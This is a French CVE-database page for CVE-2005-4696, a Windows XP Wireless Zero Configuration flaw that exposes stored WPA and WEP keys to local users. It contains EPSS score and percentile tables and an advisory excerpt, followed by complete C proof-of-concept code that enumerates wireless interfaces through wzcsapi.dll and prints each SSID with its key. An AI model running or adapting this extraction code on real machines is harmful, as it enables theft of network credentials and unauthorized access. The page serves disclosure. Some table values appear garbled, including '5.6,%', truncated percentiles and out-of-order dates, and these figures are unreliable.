CVE-2005-4696 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.6%	–	–
2022-03-20	–	–	2.6%	–	–
2022-04-03	–	–	2.6%	–	–
2022-05-15	–	–	2.6%	–	–
2022-08-21	–	–	2.78%	–	–
2022-10-30	–	–	2.78%	–	–
2022-11-20	–	–	2.78%	–	–
2022-11-27	–	–	2.78%	–	–
2023-01-01	–	–	2.78%	–	–
2023-01-29	–	–	2.78%	–	–
2023-03-12	–	–	–	0.13%	–
2023-05-14	–	–	–	0.12%	–
2023-06-11	–	–	–	0.12%	–
2023-11-05	–	–	–	0.12%	–
2023-12-03	–	–	–	0.12%	–
2023-12-17	–	–	–	0.12%	–
2023-12-24	–	–	–	0.17%	–
2024-02-11	–	–	–	0.17%	–
2024-03-31	–	–	–	0.17%	–
2024-06-02	–	–	–	0.71%	–
2024-06-16	–	–	–	0.71%	–
2024-12-22	–	–	–	0.38%	–
2025-01-12	–	–	–	0.54%	–
2025-03-02	–	–	–	0.54%	–
2025-01-19	–	–	–	0.54%	–
2025-03-09	–	–	–	0.54%	–
2025-03-18	–	–	–	–	6.54%
2025-03-30	–	–	–	–	5.6%
2025-04-15	–	–	–	–	5.6%
2025-04-15	–	–	–	–	5.6,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	62%
2022-03-20	63%
2022-04-03	8%
2022-05-15	81%
2022-08-21	82%
2022-10-30	83%
2022-11-20	82%
2022-11-27	83%
2023-01-01	82%
2023-01-29	83%
2023-03-12	47%
2023-05-14	44%
2023-06-11	45%
2023-11-05	46%
2023-12-03	45%
2023-12-17	46%
2023-12-24	53%
2024-02-11	52%
2024-03-31	53%
2024-06-02	8%
2024-06-16	81%
2024-12-22	73%
2025-01-12	77%
2025-03-02	78%
2025-01-19	77%
2025-03-09	78%
2025-03-18	9%
2025-03-30	89%
2025-04-15	9%
2025-04-15	9%

source: https://www.securityfocus.com/bid/15008/info WZCSVC is affected by an information disclosure vulnerability. Reportedly, the Pairwise Master Key (PMK) of the Wi-Fi Protected Access (WPA) preshared key authentication and the WEP keys of the interface may be obtained by a local unauthorized attacker. A successful attack can allow an attacker to obtain the keys and subsequently gain unauthorized access to a device. This attack would likely present itself in a multi-user environment with restricted or temporary wireless access such as an Internet cafe, where an attacker could return at a later time and gain unauthorized access. Microsoft Windows XP SP2 was reported to be vulnerable, however, it is possible that other versions are affected as well. //The code is not perfect, but demonstrates the given problem. If the API //is changed the code can be easily broken. //The code is released under GPL (http://www.gnu.org/licenses/gpl.html), by Laszlo Toth. //Use the code at your own responsibility. #include "stdafx.h" #include <string.h> #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <memory.h> #include <wchar.h> struct GUID_STRUCT{ //How many wireless cards are in the PC? int count; wchar_t** guids_ar; }guids; struct PSK_STRUCT{ char ssid[92]; int psk_length; unsigned char psk[32]; char other[584]; }; struct SSIDS_STRUCT{ //How many profile are configured? int count; char other[24]; PSK_STRUCT psk; }; struct INTF_ENTRY_STRUCT{ wchar_t* guid; char other[72]; SSIDS_STRUCT* ssidlist; char other2[10000]; }iestr; typedef int (WINAPI* PQUERYI)(void*, int, void*, void*); typedef int (WINAPI* PENUMI)(void*, GUID_STRUCT*); int _tmain(int argc, _TCHAR* argv[]) { //Load wzcsapi to use the implemented RPC interface of Wireless Zero //Configuration Service HMODULE hMod = LoadLibrary ("wzcsapi.dll"); if (NULL == hMod) { printf ("LoadLibrary failed\n"); return 1; } //Get the address of the WZCEnumInterfaces. We need the guid of the //wireless devices. PENUMI pEnumI = (PENUMI) GetProcAddress (hMod, "WZCEnumInterfaces"); if (NULL == pEnumI) { printf ("GetProcAddress pEnumI failed\n"); return 1; } //The call of WZCEnumInterfaces int ret=pEnumI(NULL, &guids); if (ret!=0){ printf("WZCEnumInterfaces failed!\n"); return 1; } //Get the address of the WZCQueryInterface PQUERYI pQueryI = (PQUERYI) GetProcAddress (hMod, "WZCQueryInterface"); if (NULL == pQueryI) { printf ("GetProcAddress pQueryI failed\n"); return 1; } int j; for(j=0;j<guids.count;j++){ wprintf(L"%s\n",guids.guids_ar[j]); //memset(&iestr,0,sizeof(iestr)); iestr.guid=guids.guids_ar[j]; DWORD dwOutFlags=0; //This was the debugged value of the second parameter. //int ret=pQueryI(NULL,0x040CFF0F, ie, &dwOutFlags); ret=pQueryI(NULL,0xFFFFFFFF, &iestr, &dwOutFlags); if (ret!=0){ printf("WZCQueryInterface failed!\n"); return 1; } //This code is still messy... if (iestr.ssidlist==NULL){ wprintf(L"There is no SSIDS for: %s!\n", iestr.guid); }else{ PSK_STRUCT* temp=&(iestr.ssidlist->psk); int i=0; for(i=0;i<iestr.ssidlist->count;i++){ if(32==temp->psk_length){ printf("%s:",temp->ssid); for(int j=0; j<32; j++){ printf("%02x",temp->psk[j]); } printf("\n"); }else{ printf("%s:%s\n",temp->ssid, temp->psk); } temp++; } } } return 0; }